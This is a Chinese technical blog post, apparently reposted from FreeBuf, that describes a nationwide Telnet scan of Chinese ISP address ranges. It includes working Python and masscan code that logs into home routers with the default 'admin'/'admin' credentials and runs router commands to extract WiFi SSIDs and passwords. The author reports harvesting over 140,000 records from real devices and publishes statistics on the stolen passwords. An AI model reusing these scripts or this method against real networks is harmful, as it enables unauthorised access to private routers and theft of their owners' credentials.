转载

技术分享:如何扫描统计全国Telnet默认口令

本文原创作者:zrools

本文中介绍的工具、技术带有一定的攻击性,请合理合法使用。

技术分享:如何扫描统计全国Telnet默认口令

0×00 前言

在日常工作中,我们经常会遇到针对全国甚至针对全网对某一漏洞/安全事件做数据统计分析。这时我们该怎么做呢?在本文中,我将用Telnet弱口令给大家做示范希,望能唤起相关人员的安全意识,以提高网络空间的安全防御能力!

talk is cheap show me the code!

You say a JB without pictures?

0×01 准备数据

运营商IP段

在国内某网下载了国内运营商IP段数据(IPv4)

数据处理

下载回来每个运营商为一个txt文件,数据格式如下

183.0.0.0       183.63.255.255  4194304 36.96.0.0       36.127.255.255  2097152 49.64.0.0       49.95.255.255   2097152 113.64.0.0      113.95.255.255  2097152 115.192.0.0     115.223.255.255 2097152 180.96.0.0      180.127.255.255 2097152 183.128.0.0     183.159.255.255 2097152 220.160.0.0     220.191.255.255 2097152 14.16.0.0       14.31.255.255   1048576 14.112.0.0      14.127.255.255  1048576

将所有IP段合并为一个文件

awk '{print $1,$2}' *.txt | sort | uniq > ip.txt

将IP范围转为IP/掩码格式,主要是为了方便扫描软件载入

import netaddr  with open("ip.txt", "r") as f:     for line in f:         ip = line.strip().split()           prx = netaddr.IPRange(ip[0],ip[1]).cidrs()[0].prefixlen         print(ip[0]+'/'+str(prx))

转换后格式

101.0.0.0/22 1.0.1.0/24 101.1.0.0/22 101.101.100.0/24 101.101.102.0/23 101.101.104.0/21 101.101.112.0/20 101.101.64.0/19 101.102.100.0/23 101.102.102.0/24

0×02 扫描

以下python版本为3.4

python 512线程直扫上行带宽约几百KB/s;直接上masscan、zmap这等扫描软件上行流量会暴走;具体要多少时间,可以拿少量数据测试算算!

2.1 使用python

使用python直接将IP按组遍历进队列,使用多线程循环扫描(也就是直接尝试登录),速度比较慢,但准确率相对较高

nloops = 256 ipQue = queue.Queue() with open("ip.txt", "r") as f:     for line in f:         for ip in IPNetwork(line.strip().split()).iter_hosts():             ipQue.put(ip);          # 调用多线         for i in range(nloops):             t = threading.Thread(target=getwifi)  # getwifi 为任务方法             t.start()             threads.append(t)          # 等待一轮扫描结束         for i in range(nloops):             threads[i].join()          # 删掉已扫描的IP段,防止服务重启或中途断开重启动重复扫描         os.system("sed -i '/"+line.strip()+"/d' ip.txt")

2.2 使用masscan

先扫描得到23端口IP,然后一次性扔python进行多线程尝试登录,速度快,准确率较低,大致使用如下,具体参数自己定

masscan -p23 `sed ':a;N;$!ba;s//n/ /g' ip.txt` --banners -oB port.txt

2.3 Telnet

尝试登录部分,直接try…except,超时、登录、读取任意一处超时或异常直接扔掉这个IP,具体超时时间自己看网络情况定

try:     t = telnetlib.Telnet(host, timeout=TIMEOUT)     t.read_until(b"username:", TIMEOUT)     t.write(b"admin/n")     t.read_until(b"password:", TIMEOUT)     t.write(b"admin/n")     t.write(b"wlctl show/n")     t.write(b"lan show info/n")     # 获取BSSID     t.read_until(b"SSID", TIMEOUT)     strx = t.read_very_eager().decode('ascii')     t.close()     # 如果能获取信息,这里写处理代码(比如去重复插入数据库),strx为输出内容 except:     pass

2.4 IP信息

将存到数据库的记录循环抽取调用淘宝接口更新地区等信息

http://ip.taobao.com/service/getIpInfo.php?ip=1.1.1.1

0×03 统计

总共有多少IP没多记录,所以端口开放率及成功率没法去统计了数据库是mysql后端php处理返回json,前端使用d3.js生成图表,数据表结构如下:

技术分享:如何扫描统计全国Telnet默认口令

以上是去年测试的数据

一轮扫下来获取为wifi记录14W+,可从已扫描的有结果中提取IP处理成IP段继续扫描,效率会大大提高

技术分享:如何扫描统计全国Telnet默认口令

以下是万恶的各种TOP

3.1 长度TOP

先来看看丧心病狂长度TOP10,请允许我打一下码:

技术分享:如何扫描统计全国Telnet默认口令

3.2 频率最高的口令TOP

X标签没有那个是无口令

技术分享:如何扫描统计全国Telnet默认口令

3.3 口令位数与出现频率关系

已去掉空口令统计,1~7位估计是口令中出现了变态字符导致截断了-_-#

技术分享:如何扫描统计全国Telnet默认口令

3.4 运营商TOP

貌似加起来都不够10个 -_-#

技术分享:如何扫描统计全国Telnet默认口令

3.5 省份TOP

技术分享:如何扫描统计全国Telnet默认口令

3.6 城市TOP

技术分享:如何扫描统计全国Telnet默认口令

看多了棒子图,看看其他图形展示

0×04 常见口令规则比例

将数据一次性提取遍历正则统计,规则按以下几项

- 空 - 纯数字(日期/生日-yyyymmdd & 手机号-11位 & 其他) - 纯字符(纯小写 & 纯大写 & 其他) - 混合型(含日期 & 含手机 & 其他)

技术分享:如何扫描统计全国Telnet默认口令

鼠标经过颜色块,展示相应数据

4.1 所有城市展示

一次性将所有城市展示出来,使用鼠标滚轮方法缩小,左图为缩小图,右图为方法图

技术分享:如何扫描统计全国Telnet默认口令

4.2 全国分布

最后来个千篇一律的全国分布图(鼠标经过展示数据)

技术分享:如何扫描统计全国Telnet默认口令

原文  http://www.freebuf.com/articles/terminal/93851.html
正文到此结束
Loading...